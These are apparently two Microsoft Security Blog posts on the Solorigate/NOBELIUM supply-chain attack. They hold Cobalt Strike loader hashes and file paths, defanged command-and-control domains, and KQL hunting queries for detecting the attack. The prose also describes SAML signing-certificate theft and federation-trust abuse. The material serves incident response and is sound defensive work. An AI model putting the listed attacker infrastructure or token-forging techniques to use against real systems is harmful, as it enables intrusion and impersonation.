1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c
1ec138f21a315722fb702706b4bdc0f544317f130f4a009502ec98345f85e4ad
2a276f4b11f47f81dd2bcb850a158d4202df836769da5a23e56bf0353281473e
327f1d94bc26779cbe20f8689be12c7eee2e390fbddb40b92ad00b1cddfd6426
3985dea8e467c56e8cc44ebfc201253ffee923765d12808aaf17db2c644c4c06
557f91404fb821d7c1e98d9f2f5296dc12712fc19c87a84602442b4637fb23d4
5cf85c3d18cd6dba8377370883a0fffda59767839156add4c8912394f76d6ef0
5f8650ca0ed22ad0d4127eb4086d4548ec31ad035c7aec12c6e82cb64417a390
674075c8f63c64ad5fa6fd5e2aa6e4954afae594e7b0f07670e4322a60f3d0cf
6ff3a4f7fd7dc793e866708ab0fe592e6c08156b1aa3552a8d74e331f1aea377
7c68f8d80fc2a6347da7c196d5f91861ba889afb51a4da4a6c282e06ef5bdb7e
915705c09b4bd108bcd123fe35f20a16d8c9c7d38d93820e8c167695a890b214
948bfdfad43ad52ca09890a4d2515079c29bdfe02edaa53e7d92858aa2dfbe4c
955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3
b348546f4c6a9bcafd81015132f09cf8313420eb653673bf3d65046427b1167f
b35e0010e0734fcd9b5952ae93459544ae33485fe0662fae715092e0dfb92ad3
b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07
be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725
c5a818d9b95e1c548d6af22b5e8663a2410e6d4ed87df7f9daf7df0ef029872e
c741797dd400de5927f8b5317165fc755d6439749c39c380a1357eac0a00f90c
c7924cc1bc388cfcdc2ee2472899cd34a2ef4414134cbc23a7cb530650f93d98
c96b7a3c9acf704189ae8d6124b5a7b1f0e8c83c246b59bc5ff15e17b7de4c84
cbbe224d9854d6a4269ed2fa9b22d77681f84e3ca4e5d6891414479471f5ca68
cdd9b4252ef2f6e64bccc91146ec5dc51d94e2761184cd0ffa9909aa739fa17e
dbd26ccb3699f426dc6799e218b91d1a3c1d08ad3006bc2880e29c755a4e2338
e60e1bb967db273b922deeea32d56fc6d9501a236856ef9a3e5f76c1f392000a
f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418
f61a37aa8581986ba600286d65bb76100fb44e347e253f1f5ad50051e5f882f5
f81987f1484bfe5441be157250b35b0a2d7991cf9272fa4eacd3e9f0dee235de

File paths for the custom Cobalt Strike Beacon loader:

C:\Windows\ms\sms\sms.dll
C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
C:\Windows\AUInstallAgent\auagent.dll
C:\Windows\apppatch\apppatch64\sysmain.dll
C:\Windows\Vss\Writers\Application\AppXML.dll
C:\Windows\PCHEALTH\health.dll
C:\Windows\Registration\crmlog.dll
C:\Windows\Cursors\cursrv.dll
C:\Windows\AppPatch\AcWin.dll
C:\Windows\CbsTemp\cbst.dll
C:\Windows\AppReadiness\Appapi.dll
C:\Windows\Panther\MainQueueOnline.dll
C:\Windows\AppReadiness\AppRead.dll
C:\Windows\PrintDialog\PrintDial.dll
C:\Windows\ShellExperiences\MtUvc.dll
C:\Windows\PrintDialog\appxsig.dll
C:\Windows\DigitalLocker\lock.dll
C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll
C:\Windows\Migration\WTR\ctl.dll
C:\Windows\ELAMBKUP\WdBoot.dll
C:\Windows\LiveKernelReports\KerRep.dll
C:\Windows\Speech_OneCore\Engines\TTS\en-US\enUS.Name.dll
C:\Windows\SoftwareDistribution\DataStore\DataStr.dll
C:\Windows\RemotePackages\RemoteApps\RemPack.dll
C:\Windows\ShellComponents\TaskFlow.dll

Cobalt Strike Beacon:

aimsecurity[.]net
datazr[.]com
ervsystem[.]com
financialmarket[.]org
gallerycenter[.]org
infinitysoftwares[.]com
mobilnweb[.]com
olapdatabase[.]com
swipeservice[.]com
techiefly[.]com

Advanced hunting queries

A collection of Advanced Hunting Queries (AHQ) related to Solorigate is located in our AHQ repository in GitHub. To locate possible exploitation activity related to the contents of this blog, you can run the following advanced hunting queries via Microsoft Defender for Endpoint:

Anomalous usage of 7zip

Look for anomalous usage or running process of 7zip. Run query in Microsoft Defender for Endpoint.

DeviceProcessEvents
| where InitiatingProcessFileName in~("rundll32.exe", "dllhost.exe") 
and InitiatingProcessCommandLine != "" 
and InitiatingProcessCommandLine !contains " "
| extend RundllTime = Timestamp
| join DeviceProcessEvents on $left.DeviceId == $right.DeviceId
| where InitiatingProcessFileName hasprefix "7z" 
or InitiatingProcessCommandLine has "-mx9"
| extend DateDiff = datetime_diff("day", Timestamp, RundllTime)
| where DateDiff < 2

Presence of custom Cobalt Strike

Look for presence of custom cobalt strike loaders. Run query in Microsoft Defender for Endpoint.

DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where InitiatingProcessIntegrityLevel in ("High", "System")
| where ProcessCommandLine matches regex 
@'(?i)rundll32\s+c\:\\windows(\\[^\\]+)+\.dll\s+[a-zA-Z0-9_]{3,}'

Command and control

Look for command-and-control connections. Run query in Microsoft Defender for Endpoint.

DeviceNetworkEvents
| where InitiatingProcessParentFileName =~ "rundll32.exe"
| where InitiatingProcessFileName =~ "dllhost.exe" 
and InitiatingProcessCommandLine != "" 
and InitiatingProcessCommandLine !contains " "

Look for network connections to known command and control domains. Run query in Microsoft Defender for Endpoint.

DeviceNetworkEvents
| where RemoteUrl in~('aimsecurity.net',
'datazr.com',
'ervsystem.com',
'financialmarket.org',
'gallerycenter.org',
'infinitysoftwares.com',
'mobilnweb.com',
'olapdatabase.com',
'swipeservice.com',
'techiefly.com')

The post Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop appeared first on Microsoft Security Blog.

UPDATE: Microsoft continues to work with partners and customers to expand our knowledge of the threat actor behind the nation-state cyberattacks that compromised the supply chain of SolarWinds and impacted multiple other organizations. Microsoft previously used ‘Solorigate’ as the primary designation for the actor, but moving forward, we want to place appropriate focus on the actors behind the sophisticated attacks, rather than one of the examples of malware used by the actors. Microsoft Threat Intelligence Center (MSTIC) has named the actor behind the attack against SolarWinds, the SUNBURST backdoor, TEARDROP malware, and related components as NOBELIUM. As we release new content and analysis, we will use NOBELIUM to refer to the actor and the campaign of attacks.

Microsoft security researchers continue to investigate and respond to the sophisticated cyberattack known as Solorigate (also referred to as Sunburst by FireEye) involving a supply chain compromise and the subsequent compromise of cloud assets. While the related investigations and impact assessments are ongoing, Microsoft is providing visibility into the attack chains and related threat intelligence to the defender community as early as possible so organizations can identify and take action to stop this attack, understand the potential scope of its impact, and begin the recovery process from this active threat. We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.

This blog is a comprehensive guide for security operations and incident response teams using Microsoft 365 Defender to identify, investigate, and respond to the Solorigate attack if it’s found in your environment. The description of the attack in this blog is based on current analysis and investigations by researchers across Microsoft, our partners, and the intelligence community who are actively collaborating to respond to the attack. This is an active threat that continues to evolve, and the findings included here represent what we know at the time of publishing. We continue to publish and update intelligence, indicators, tactics, techniques, and procedures (TTPs), and related details as we discover them. The report from the Microsoft Security Response Center (MSRC) includes the latest analysis of this threat, known indicators of compromise (IOCs), and initial recommended defenses, and will be updated as new data becomes available.

This blog covers:

• The Solorigate attack chain
• Reviewing affected devices and related incidents with Threat analytics
• Detecting and blocking malicious activity on endpoint (Microsoft Defender for Endpoint, Microsoft 365 Defender hunting)
• Detecting hands-on-keyboard activity within on-prem environment (Microsoft Defender for Endpoint, Microsoft Defender for Identity, Microsoft 365 Defender hunting)
• Detecting hands-on-keyboard activity in the cloud environment (Microsoft Cloud App Security, Microsoft 365 Defender hunting)
• Summary of detections and hunting queries across Microsoft 365 Defender

Tracking the cross-domain Solorigate attack from endpoint to the cloud

The Solorigate attack is an example of a modern cross-domain compromise. Since these kinds of attacks span multiple domains, having visibility into the entire scope of the attack is key to stopping and preventing its spread.

This attack features a sophisticated technique involving a software supply chain compromise that allowed attackers to introduce malicious code into signed binaries on the SolarWinds Orion Platform, a popular IT management software. The compromised application grants attackers “free” and easy deployment across a wide range of organizations who use and regularly update the application, with little risk of detection because the signed application and binaries are common and are considered trusted. With this initial widespread foothold, the attackers can then pick and choose the specific organizations they want to continue operating within (while others remain an option at any point as long as the backdoor is installed and undetected). Based on our investigations, the next stages of the attack involve on-premises activity with the goal of off-premises access to cloud resources through the following steps:

1. Using the compromised SolarWinds DLL to activate a backdoor that enables attackers to remotely control and operate on a device
2. Using the backdoor access to steal credentials, escalate privileges, and move laterally to gain the ability to create valid SAML tokens using any of two methods:
   1. Stealing the SAML signing certificate (Path 1)
   2. Adding to or modifying existing federation trust (Path 2)
3. Using attacker-created SAML tokens to access cloud resources and perform actions leading to the exfiltration of emails and persistence in the cloud

Figure 1. High-level end-to-end Solorigate attack chain

This attack is an advanced and stealthy campaign with the ability to blend in, which could allow attackers to stay under the radar for long periods of time before being detected. The deeply integrated cross-domain security capabilities in Microsoft 365 Defender can empower organizations and their security operations (SOC) teams to uncover this attack, scope out the end-to-end breach from endpoint to the cloud, and take action to block and remediate it. This blog will offer step-by-step guidance to do this by outlining:

• How indicators of attack show up across endpoints, identity, and the cloud
• How Microsoft 365 Defender automatically combines alerts across these different domains into a comprehensive end-to-end story
• How to leverage the powerful toolset available for deep investigation, hunting, and response to enable SOCs to battle the attackers and evict these attackers from both on-premises and cloud environments

Threat analytics: Understanding and responding to active attacks

As soon as this attack was discovered, Microsoft researchers published two threat analytics reports to help organizations determine if they are affected, assess the impact of the attack, and identify actions to contain it.

• Sophisticated actor attacks FireEye provides information about the FireEye breach and compromised red team tools
• Solorigate supply chain attack provides a detailed analysis of the SolarWinds supply chain compromise

The reports are published in Microsoft 365 security center, available to all Microsoft Defender for Endpoint customers and Microsoft 365 Defender early adopters. In addition to detailed descriptions of the attack, TTPs, and indicators of compromise (IoCs), the reports provide real-time data aggregated from signals across Microsoft 365 Defender, indicating the all-up impact of the threat to the organization, as well as details about relevant incidents and alerts to initiate investigation on. These reports continue to be updated as additional information becomes available.

Given the significance of this threat, we are making similar relevant Microsoft threat intelligence data, including the updated list of IOCs, available to everyone publicly.  A comprehensive list of guidance and insights is available at https://aka.ms/solorigate.

Figure 2. Threat analytics report on Solorigate attack

We recommend Microsoft 365 Defender customers to start their investigations here. After gaining deep understanding of the threat and getting the latest research findings, you can take the following recommended steps:

Find devices with the compromised SolarWinds Orion application

The threat analytics report uses insights from threat and vulnerability management to identify devices that have the compromised SolarWinds Orion Platform binaries or are exposed to the attack due to misconfiguration.

From the Vulnerability patching status chart in threat analytics, you can view the mitigation details to see a list of devices with the vulnerability ID TVM-2020-0002, which was added specifically to help with Solorigate investigations:

Figure 3. Threat and vulnerability management data shows data on exposed devices

Threat and vulnerability management provides more info about the vulnerability ID TVM-2020-0002, as well as all relevant applications, via the Software inventory view. There are also multiple security recommendations to address this specific threat, including instructions to update the software versions installed on exposed devices.

Figure 4. Security recommendations from threat and vulnerability management

Investigate related alerts and incidents

From the threat analytics report, you can quickly locate devices with alerts related to the attack. The Devices with alerts chart identifies devices with malicious components or activities known to be directly related to Solorigate. Click through to get the list of alerts and investigate.

Some Solorigate activities may not be directly tied to this specific threat but will trigger alerts due to generally suspicious or malicious behaviors. All alerts in Microsoft 365 Defender provided by different Microsoft 365 products are correlated into incidents. Incidents help you see the relationship between detected activities, better understand the end-to-end picture of the attack, and investigate, contain, and remediate the threat in a consolidated manner.

Review incidents in the Incidents queue and look for those with alerts relevant to this attacker’s TTPs, as described in the threat analytics report (also listed at the end of this blog).

Figure 5. Consolidated Incident view for Solorigate

Some alerts are specially tagged with Microsoft Threat Experts to indicate malicious activities that Microsoft researchers found in customer environments during hunting. As part of the Microsoft Threat Experts service, researchers investigated this attack as it unfolded, hunting for associated attacker behaviors, and sent targeted attack notifications. If you see an alert tagged with Microsoft Threat Experts, we strongly recommend that you give it immediate attention.

Figure 6. Microsoft Threat Experts targeted attack notification

Additionally, Microsoft Threat Experts customers with Experts on demand subscriptions can reach out directly to our on-demand hunters for additional help in understanding the Solorigate threat and the scope of its impact in their environments.

Hunt for related attacker activity

The threat analytics report also provides advanced hunting queries that can help analysts locate additional related or similar activities across endpoint, identity, and cloud. Advanced hunting uses a rich set of data sources, but in response to Solorigate, Microsoft has enabled streaming of Azure Active Directory (Azure AD) audit logs into advanced hunting, available for all customers in public preview. These logs provide traceability for all changes done by various features within Azure AD. Examples of audit logs include changes made to any resources within Azure AD, such as adding or removing users, apps, groups, roles, and policies.  Customers who do not have Microsoft Defender for Endpoint or are not early adopters for Microsoft 365 Defender can see our recommended advanced hunting queries.

Currently, this data is available to customers who have Microsoft Cloud App Security with the Office365 connector. Our intent is to expand availability to more Microsoft 365 Defender customers. The new log data is available in the CloudAppEvents table:

CloudAppEvents
| where Application == “Office 365”

The log data contains activity logs useful for investigating and finding Azure AD-related activities. This data further enriches the CloudAppEvents table, which also has Exchange Online and Microsoft Teams activities.

As part of making this new data available, we also published a handful of relevant advanced hunting queries, identified by the suffix [Solorigate], to the GitHub repo.

Here’s an example query that helps you see when credentials are added to an Azure AD application after ‘Admin Consent’ permissions were granted:

CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Consent to application.”
| where RawEventData.ModifiedProperties[0].Name == “ConsentContext.IsAdminConsent” and RawEventData.ModifiedProperties[0].NewValue == “True”
| extend spnID = tostring(RawEventData.Target[3].ID)
| parse RawEventData.ModifiedProperties[4].NewValue with * “=> [[” dummpy “Scope: ” After “]]” *
| extend PermissionsGranted = split(After, “]”,0)
| project ConsentTime = Timestamp , AccountDisplayName , spnID , PermissionsGranted
| join (
CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Add service principal credentials.” or ActionType == “Update application – Certificates and secrets management “
| extend spnID = tostring(RawEventData.Target[3].ID)
| project AddSecretTime = Timestamp, AccountDisplayName , spnID
) on spnID
| where ConsentTime < AddSecretTime and AccountDisplayName <> AccountDisplayName1

Microsoft 356 Defender advanced hunting can also assist in many of the recommended incident investigation tasks outlined in the blog, Advice for incident responders on recovery from systemic identity compromises.

In the remaining sections, we will discuss select examples of alerts raised by Microsoft 365 solutions that monitor and detect Solorigate activities across the attack chain on endpoint, identity, and the cloud. These are alerts you may encounter when investigating incidents in Microsoft 365 security center if your organization is affected by this threat. We will also indicate activities which are now blocked by Microsoft 365 Defender. Lastly, each section contains examples of hunting queries you will find useful for hunting for various attacker activities in your environment.

Detecting and blocking malware and malicious behavior on endpoints

Figure 7. Solorigate attack chain: Initial access and command-and-control

Discovering and blocking backdoor activity

When the compromised SolarWinds binary SolarWinds.Orion.Core.BusinessLayer.dll gets loaded on a device through normal update channels, the backdoor goes through an extensive list of checks to ensure it’s running in an actual enterprise network and not on an analyst’s machine. It then contacts a command-and-control (C2) server using a subdomain that is generated partly with information gathered from the affected device, which means a unique subdomain is generated for each affected domain. The backdoor allows the attackers to remotely run commands on the device and move to the next stages of the attack. For more information, read our in-depth analysis of the Solorigate malware.

Microsoft Defender for Endpoint delivers comprehensive protection against this threat (see full list of detection and protection alerts at the end of this blog). Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors. It quarantines the malware, even if the process is running.

Figure 8. Microsoft Defender for Endpoint blocks malicious binaries

If the malicious code is successfully deployed, the backdoor lies dormant for up to two weeks. It then attempts to contact numerous C2 domains, with the primary domain being *.avsvmcloud[.]com. The backdoor uses a domain generation algorithm to evade detection. Microsoft 365 Defender detects and blocks this behavior.

Figure 9. Microsoft Defender for Endpoint prevented malicious C2 callback

Discovering potentially tampered devices

To evade security software and analyst tools, the Solorigate malware enumerates the target system looking for certain running processes, loaded drivers, and registry keys, with the goal of disabling them.

The Microsoft Defender for Endpoint sensor is one of the processes the malware attempts to disable. Microsoft Defender for Endpoint has built-in protections against many techniques attackers use to disable endpoint sensors ranging from hardened OS protection, anti-tampering policies, and detections for a variety of tampering attempts, including “Attempt to stop Microsoft Defender for Endpoint sensor”, “Tampering with Microsoft Defender for Endpoint sensor settings”, or “Possible sensor tampering in memory”.

Successfully disabling Microsoft Defender for Endpoint can prevent the system from reporting observed activities. However, the multitude of signals reported into Microsoft 365 Defender provides a unique opportunity to hunt for systems where the tampering technique used might have been successful. The following advanced hunting query can be used to locate devices that should be reporting but aren’t:

// Times to be modified as appropriate
let timeAgo=1d;
let silenceTime=8h;
// Get all silent devices and IPs from network events
let allNetwork=materialize(DeviceNetworkEvents
| where Timestamp > ago(timeAgo)
and isnotempty(LocalIP)
and isnotempty(RemoteIP)
and ActionType in (“ConnectionSuccess”, “InboundConnectionAccepted”)
and LocalIP !in (“127.0.0.1”, “::1”)
| project DeviceId, Timestamp, LocalIP, RemoteIP, ReportId);
let nonSilentDevices=allNetwork
| where Timestamp > ago(silenceTime)
| union (DeviceProcessEvents | where Timestamp > ago(silenceTime))
| summarize by DeviceId;
let nonSilentIPs=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by LocalIP;
let silentDevices=allNetwork
| where DeviceId !in (nonSilentDevices)
and LocalIP !in (nonSilentIPs)
| project DeviceId, LocalIP, Timestamp, ReportId;
// Get all remote IPs that were recently active
let addressesDuringSilence=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by RemoteIP;
// Potentially disconnected devices were connected but are silent
silentDevices
| where LocalIP in (addressesDuringSilence)
| summarize ReportId=arg_max(Timestamp, ReportId), Timestamp=max(Timestamp), LocalIP=arg_max(Timestamp, LocalIP) by DeviceId
| project DeviceId, ReportId=ReportId1, Timestamp, LocalIP=LocalIP1

Microsoft is continuously developing additional measures to both block and alert on these types of tampering activities.

Detecting hands-on-keyboard activity within an on-premises environment

Figure 10. Solorigate attack chain: Hands-on-keyboard attack on premises

After establishing a backdoor connection on an affected device, the attacker’s next goal is to achieve off-premises access to the organization’s cloud services. To do this, they must find a way to gain permissions to those services. One technique we have seen the attackers use is to go after the organization’s Active Directory Federation Services (AD FS) server to obtain the proverbial “keys” to the identity kingdom. AD FS enables federated identity and access management by securely sharing digital identity and entitlement rights across security and enterprise boundaries; effectively, it is the “LSASS for the cloud.” Among other things, AD FS stores the Security Assertion Markup Language (SAML) token signing certificate, which is used to create authorization tokens for users or services in the organization so they can access cloud applications and resources after authentication.

To attack the AD FS infrastructure, the attackers must first obtain appropriate domain permissions through on-premises intelligence gathering, lateral movement, and credential theft. Building from the backdoor described above, the attackers leverage fileless techniques for privilege escalation, persistence, and lateral movement, including evading analysis by using system binaries and exploration tools that masquerade as other benign binaries. The attackers also carefully chose organization-specific command-and-control (C2) domains and use custom organization-specific tool naming and locations.

Microsoft Defender for Endpoint detects a wide array of these attack techniques, allowing SOC teams to track the attacker’s actions in the environment and take actions to contain the attack. The following section covers detections for the techniques used by the attackers to compromise the AD FS infrastructure.

Identifying attacker reconnaissance

Attackers collect data from Active Directory using a renamed version of the utility ADFind, running queries against Domain Controllers as part of the reconnaissance stage of the attack. Microsoft Defender for Endpoint detects this behavior and allows the SOC analyst to track compromised devices at this stage to gain visibility into the information the attacker is looking for.

Figure 11. Microsoft Defender for Endpoint detects usage of masquerading exploration tools

Figure 12. Microsoft Defender for Endpoint detects usage LDAP query for reconnaissance.

Stopping lateral movement and credential theft

To gain access to a highly privileged account needed for later steps in the kill chain, the attackers move laterally between devices and dump credentials until an account with the needed privileges is compromised, all while remaining as stealthy as possible.

A variety of credential theft methods, such as dumping LSASS memory, are detected and blocked by Microsoft Defender for Endpoint. The example below shows the detection of lateral movement using Windows Management Instrumentation (WMI) to run the attacker’s payload using the Rundll32.exe process.

Figure 13. Microsoft Defender for Endpoint alert for suspicious remote WMI execution highlighting the attacker’s device and payload

Microsoft Defender for Identity also detects and raises alerts on a variety of credential theft techniques. In addition to watching for alerts, security analysts can hunt across identity data in Microsoft 365 Defender for signs of identity compromise. Here are a couple of example Microsoft Defender for Identity queries looking for such patterns:

Enumeration of high-value DC assets followed by logon attempts to validate stolen credentials in time proximity

let MaxTime = 1d;
let MinNumberLogon = 5;
//devices attempting enumeration of high-value DC
IdentityQueryEvents
| where Timestamp > ago(30d)
| where Application == “Active Directory”
| where QueryTarget in (“Read-only Domain Controllers”)
//high-value RODC assets
| project Timestamp, Protocol, Query, DeviceName, AccountUpn
| join kind = innerunique (
//devices trying to logon {MaxTime} after enumeration
IdentityLogonEvents
| where Timestamp > ago(30d)
| where ActionType == “LogonSuccess”
| project LogonTime = Timestamp, DeviceName, DestinationDeviceName) on DeviceName
| where LogonTime between (Timestamp .. (Timestamp + MaxTime))
| summarize n=dcount(DestinationDeviceName), TargetedDC = makeset(DestinationDeviceName) by Timestamp, Protocol, DeviceName
| where n >= MinNumberLogon

High-volume of LDAP queries in short time filtering for non-DC devices

let Threshold = 12;
let BinTime = 1m;
//approximate list of DC
let listDC=IdentityDirectoryEvents
| where Application == “Active Directory”
| where ActionType == “Directory Services replication”
| summarize by DestinationDeviceName;
IdentityQueryEvents
| where Timestamp > ago(30d)
//filter out LDAP traffic across DC
| where DeviceName !in (listDC)
| where ActionType == “LDAP query”
| parse Query with * “Search Scope: ” SearchScope “, Base Object:” BaseObject “, Search Filter: ” SearchFilter
| summarize NumberOfDistinctLdapQueries = dcount(SearchFilter) by DeviceName, bin(Timestamp, BinTime)
| where NumberOfDistinctLdapQueries > Threshold

At this point, SOC teams can take containment measures within the Microsoft 365 security center, for example, using indicators to isolate the devices involved and block the remotely executed payload across the environment, as well as mark suspect users as compromised.

Detecting and remediating persistence

Microsoft Defender for Endpoint also detects the advanced defense evasion and masquerading techniques used by the attackers to make their actions as close to normal as possible, such as binding a WMI event filter with a logical consumer to remain persistent. Follow the recommended actions in the alert to remove persistence and prevent the attacker’s payload from loading after reboot.

Figure 14. Microsoft Defender for Endpoint alert for WMI event filter bound to a suspicious consumer showing the persistence and the scheduled command line

Catching AD FS compromise and the attacker’s ability to impersonate users in the cloud

The next step in the attack focuses on the AD FS infrastructure and can unfold in two separate paths that lead to the same outcome—the ability to create valid SAML tokens allowing impersonation of users in the cloud:

• Path 1 – Stealing the SAML signing certificate: After gaining administrative privileges in the organization’s on-premises network, and with access to the AD FS server itself, the attackers access and extract the SAML signing certificate. With this signing certificate, the attackers create valid SAML tokens to access various desired cloud resources as the identity of their choosing.
• Path 2 – Adding to or modifying existing federation trust: After gaining administrative Azure Active Directory (Azure AD) privileges using compromised credentials, the attackers add their own certificate as a trusted entity in the domain either by adding a new federation trust to an existing tenant or modifying the properties of an existing federation trust. As a result, any SAML token they create and sign will be valid for the identity of their choosing.

In the first path, obtaining the SAML signing certificate normally entails first querying the private encryption key that resides on the AD FS container and then using that key to decrypt the signing certificate. The certificate can then be used to create illicit but valid SAML tokens that allow the actor to impersonate users, enabling them to access enterprise cloud applications and services.

Microsoft Defender for Endpoint and Microsoft Defender for Identity detect the actions that attackers take to steal the encryption key needed to decrypt the SAML signing certificate. Both solutions leverage unique LDAP telemetry to raise high-severity alerts highlighting the attacker’s progress towards creating illicit SAML tokens.

Figure 15. Microsoft Defender for Endpoint detects a suspicious LDAP query being launched and an attempted AD FS private key extraction

Figure 16. Microsoft Defender for Identity detects private key extraction via malicious LDAP requests

For the second path, the attackers create their own SAML signing certificate outside of the organization’s environment. With Azure AD administrative permissions, they then add the new certificate as a trusted object. The following advanced hunting query over Azure AD audit logs shows when domain federation settings are changed, helping to discover where the attackers configured the domain to accept authorization tokens signed by their own signing certificate. As these are rare actions, we advise verifying that any instances identified are the result of legitimate administrative activity.

ADFSDomainTrustMods

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType =~ “Set federation settings on domain.”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetDisplayName = targetDetails.Name
| extend resultStatus = extractjson(“$.ResultStatus”, tostring(RawEventData), typeof(string))
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, targetDisplayName, resultStatus, InitiatingIPAddress=IPAddress, UserAgent

If the SAML signing certificate is confirmed to be compromised or the attacker has added a new one, follow the best practices for invalidating through certificate rotation to prevent further use and creation of SAML tokens by the attacker. Additionally, affected AD FS servers may need to be isolated and remediated to ensure no remaining attacker control or persistence.

If the attackers accomplish either path, they gain the ability to create illicit SAML tokens for the identities of their choosing and bypass multifactor authentication (MFA), since the service or application accepting the token assumes MFA is a necessary previous step in creating a properly signed token. To prevent attackers from progressing to the next stage, which is to access cloud resources, the attack should be discovered and remediated at this stage.

Detecting the hands-on-keyboard activity in the cloud environment

Figure 17. Solorigate attack chain: Hands-on-keyboard attack in the cloud

With the ability to create illicit SAML tokens, the attackers can access sensitive data without having to originate from a compromised device or be confined to on-premises persistence. By abusing API access via existing OAuth applications or service principals, they can attempt to blend into the normal pattern of activity, most notably apps or service principals with existing Mail.Read or Mail.ReadWrite permissions to read email content via Microsoft Graph from Exchange Online. If the application does not already have read permissions for emails, then the app may be modified to grant those permissions.

Identifying unusual addition of credentials to an OAuth app

Microsoft Cloud App Security (MCAS) has added new automatic detection of unusual credential additions to an OAuth application to alert SOCs about apps that have been compromised to extract data from the organization. This detection logic is built on an anomaly detection engine that learns from each user in the environment, filtering out normal usage patterns to ensure alerts highlight real attacks and not false positives. If you see this alert in your environment and confirm malicious activity, you should take immediate action to suspend the user, mark the user as compromised, reset the user’s password, and remove the credential additions. You may consider disabling the application during investigation and remediation.

Figure 18. Microsoft Defender Cloud App Security alert for unusual addition of credentials to an OAuth app

SOCs can use the following Microsoft 365 Defender advanced hunting query over Azure AD audit logs to examine when new credentials have been added to a service principle or application. In general, credential changes may be rare depending on the type and use of the service principal or application. SOCs should verify unusual changes with their respective owners to ensure they are the result of legitimate administrative actions.

NewAppOrServicePrincipalCredential

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType in (“Add service principal.”, “Add service principal credentials.”, “Update application – Certificates and secrets management “)
| extend RawEventData = parse_json(RawEventData)
| where RawEventData.ResultStatus =~ “success”
| where AccountDisplayName has “@”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetId = targetDetails.Id
| extend targetType = targetDetails.Type
| extend targetDisplayName = targetDetails.Name
| extend keyEvents = RawEventData.ModifiedProperties
| where keyEvents has “KeyIdentifier=” and keyEvents has “KeyUsage=Verify”
| mvexpand keyEvents
| where keyEvents.Name =~ “KeyDescription”
| parse keyEvents.NewValue with * “KeyIdentifier=” keyIdentifier:string “,KeyType=” keyType:string “,KeyUsage=” keyUsage:string “,DisplayName=” keyDisplayName:string “]” *
| parse keyEvents.OldValue with * “KeyIdentifier=” keyIdentifierOld:string “,KeyType” *
| where keyEvents.OldValue == “[]” or keyIdentifier != keyIdentifierOld
| where keyUsage == “Verify”
| project-away keyEvents
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, InitiatingIPAddress=IPAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier

Discovering malicious access to mail items

OAuth applications or service principals with Mail.Read or Mail.ReadWrite permissions can read email content from Exchange Online via the Microsoft Graph. To help increase visibility on these behaviors, the MailItemsAccessed action is now available via the new Exchange mailbox advanced audit functionality. See if this feature is enabled by default for you. Important note for customers: If you have customized the list of audit events you are collecting, you may need to manually enable this telemetry.

If more than 1,000 MailItemsAccessed audit records are generated in less than 24 hours, Exchange Online stops generating auditing records for MailItemsAccessed activity for 24 hours and then resumes logging after this period. This throttling behavior is a good starting point for SOCs to discover potentially compromised mailboxes.

MailItemsAccessedThrottling

let starttime = 2d;
let endtime = 1d;
CloudAppEvents
| where Timestamp between (startofday(ago(starttime))..startofday(ago(endtime)))
| where ActionType == “MailItemsAccessed”
| where isnotempty(RawEventData[‘ClientAppId’]) and RawEventData[‘OperationProperties’][1] has “True”
| project Timestamp, RawEventData[‘OrganizationId’],AccountObjectId,UserAgent

In addition to looking for throttled telemetry, you can also hunt for OAuth applications reading mail via the Microsoft Graph API whose behavior has changed prior to a baseline period.

OAuthGraphAPIAnomalies

//Look for OAuth App reading mail via GraphAPI — that did not read mail via graph API in prior week
let appMailReadActivity = (timeframeStart:datetime, timeframeEnd:datetime) {
CloudAppEvents
| where Timestamp between (timeframeStart .. timeframeEnd)
| where ActionType == “MailItemsAccessed”
| where RawEventData has “00000003-0000-0000-c000-000000000000” // performance check
| extend rawData = parse_json(RawEventData)
| extend AppId = tostring(parse_json(rawData.AppId))
| extend OAuthAppId = tostring(parse_json(rawData.ClientAppId)) // extract OAuthAppId
| summarize by OAuthAppId
};
appMailReadActivity(ago(1d),now()) // detection period
| join kind = leftanti appMailReadActivity(ago(7d),ago(2d)) // baseline period
on OAuthAppId

Microsoft 365 Defender’s cross-domain XDR correlation enables stronger response to critical security incidents

Like the rest of the security industry, Microsoft continues to track the Solorigate attack, an active threat that continues to unfold as well as evolve. As part of empowering our customers and the larger security community to respond to this attack through sharing intelligence and providing advice, this blog serves to guide Microsoft 365 customers to take full advantage of the comprehensive visibility and the rich investigation tools available in Microsoft 365 Defender. This blog shows that many of the existing capabilities in Microsoft 365 Defender help address this attack, but the unique scenarios created by the threat resulted in some Solorigate-specific detections and other innovative protections, including ones that are made possible by deeply integrated cross-domain threat defense.

For additional information and further guidance, refer to these Microsoft resources:

• Customer guidance on recent nation-state cyber attacks
• Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack
• SolarWinds post-compromise hunting with Azure Sentinel
• Advice for incident responders on recovery from systemic identity compromises

Microsoft will continue to provide public information about the patterns and techniques of this attack and related intelligence for customers to defend themselves, in addition to enhancing the protection capabilities of Microsoft security solutions.

Appendix: Additional details for detection and hunting

Detection details

Advanced hunting queries

The post Using Microsoft 365 Defender to protect against Solorigate appeared first on Microsoft Security Blog.

